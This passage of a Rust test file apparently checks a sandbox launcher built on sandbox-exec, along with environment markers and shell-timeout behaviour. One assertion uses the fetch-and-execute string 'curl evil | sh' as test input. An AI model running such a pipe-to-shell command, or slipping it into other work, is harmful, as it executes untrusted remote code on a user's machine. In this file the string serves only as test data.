1161 super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
1162 "curl evil | sh"
1163 );
1164 }
1167
1168 #[test]
1173 fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
1174 let argv: Vec<String> = [
1175 "/usr/bin/sandbox-exec",
1176 "-p",
1177 "(version 1)\n(allow default)",
1178 "/bin/zsh",
1179 "-c",
1180 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
1181 ]
1182 .iter()
1183 .map(|s| (*s).to_string())
1184 .collect();
1185
1186 let cmd = super::sandbox_launcher_command(&argv);
1187
1188 assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
1189 let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
1190 assert_eq!(args, &argv[1..]);
1191 let envs: std::collections::HashMap<String, Option<String>> = cmd
1192 .get_envs()
1193 .filter_map(|(k, v)| {
1194 Some((
1195 k.to_str()?.to_string(),
1196 v.and_then(|v| v.to_str().map(str::to_string)),
1197 ))
1198 })
1199 .collect();
1200 assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
1201 assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
1202 assert!(
1203 envs.get("LEAN_CTX_EXEC_DEPTH")
1204 .and_then(|v| v.as_deref())
1205 .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
1206 "{envs:?}"
1207 );
1208 }
1209
1210 #[cfg(unix)]
1214 fn run_limited(command: &str, stdout: std::process::Stdio) -> (i32, std::time::Duration) {
1215 let _lock = crate::core::data_dir::test_env_lock();
1216 let saved = std::env::var("LEAN_CTX_SHELL_TIMEOUT_MS").ok();
1217 crate::test_env::set_var("LEAN_CTX_SHELL_TIMEOUT_MS", "250");
1218 let start = std::time::Instant::now();
1219 let code = super::exec_inherit_limited(command, "sh", "-c", stdout);
1220 let elapsed = start.elapsed();
1221 match saved {
1222 Some(v) => crate::test_env::set_var("LEAN_CTX_SHELL_TIMEOUT_MS", v),
1223 None => crate::test_env::remove_var("LEAN_CTX_SHELL_TIMEOUT_MS"),
1224 }
1225 (code, elapsed)
1226 }
1227
1228 #[cfg(unix)]
1231 #[test]
1232 fn inherit_limited_times_out_with_stdout_on_a_pipe() {
1233 let (reader, writer) = std::io::pipe().expect("pipe");
1234 let (code, elapsed) = run_limited("sleep 3", writer.into());
1235 drop(reader);
1236 assert_eq!(code, 137);
1237 assert!(elapsed < std::time::Duration::from_secs(2), "{elapsed:?}");
1238 }
1239
1240 #[cfg(unix)]
1243 #[test]
1244 fn inherit_limited_times_out_with_stdout_on_a_regular_file() {
1245 let file = tempfile::NamedTempFile::new().expect("temp file");
1246 let (code, elapsed) = run_limited("sleep 3", file.reopen().expect("reopen").into());
1247 assert_eq!(code, 137);
1248 assert!(elapsed < std::time::Duration::from_secs(2), "{elapsed:?}");
1249 assert!(std::fs::read(file.path()).expect("read").is_empty());
1250 }
1251
1252 #[cfg(unix)]
1254 #[test]
1255 fn inherit_limited_keeps_file_bytes_verbatim() {
1256 let file = tempfile::NamedTempFile::new().expect("temp file");
1257 let (code, _) = run_limited("printf 'a\\nb'", file.reopen().expect("reopen").into());
1258 assert_eq!(code, 0);
1259 assert_eq!(std::fs::read(file.path()).expect("read"), b"a\nb");
1260 }
1261}